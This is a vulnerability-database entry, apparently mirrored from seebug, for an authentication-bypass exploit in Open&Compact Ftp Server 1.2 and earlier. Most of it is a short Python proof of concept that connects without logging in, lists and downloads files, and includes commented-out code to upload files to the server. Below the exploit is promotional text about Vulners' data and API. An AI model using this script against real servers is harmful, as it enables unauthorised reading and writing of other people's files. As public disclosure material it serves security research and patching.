Lucene search
K

Open&Compact Ftp Server <= 1.2 Full System Access

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 8 Views

Open&Compact Ftp Server Full System Access Exploi

Code

                                                # Exploit Title: Open&Compact Ftp Server &#60;= 1.2 Full System Access
# Date: June 12, 2010
# Author: Serge Gorbunov
# Software Link: http://sourceforge.net/projects/open-ftpd/
# Version: &#60;= 1.2
# Tested on: Windows 7, Windows XP SP3
#!/usr/bin/python

# Simply by omitting login process to the open ftp server it is possible
# to execute any command, including but not limited to: listing files,
# retrieving files, storing files. 
# Below is an example of a few commands. 
# If you want to test storing files with no authentication, create a 
# test file and uncomment out line with ftp.storbinary function call.

# Any command will work as long as there is at least on user who has the permission
# to execute that command. For example, storing files will work as long
# as there is one user with write permission. No matter whom it is. 

import ftplib
import os

# Connect to server
ftp = ftplib.FTP( &#34;127.0.0.1&#34; )
ftp.set_pasv( False ) 

# Note that we need no authentication at all!! 

print ftp.retrlines( &#39;LIST&#39; )
print ftp.retrbinary(&#39;RETR changelog.txt&#39;, open(&#39;changelog.txt&#39;, &#39;wb&#39;).write ) 

# filename = &#39;test.txt&#39;
# f = open( filename, &#39;rb&#39; ) 
# print ftp.storbinary( &#39;STOR &#39; + filename, f )
# f.close()

ftp.quit()

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation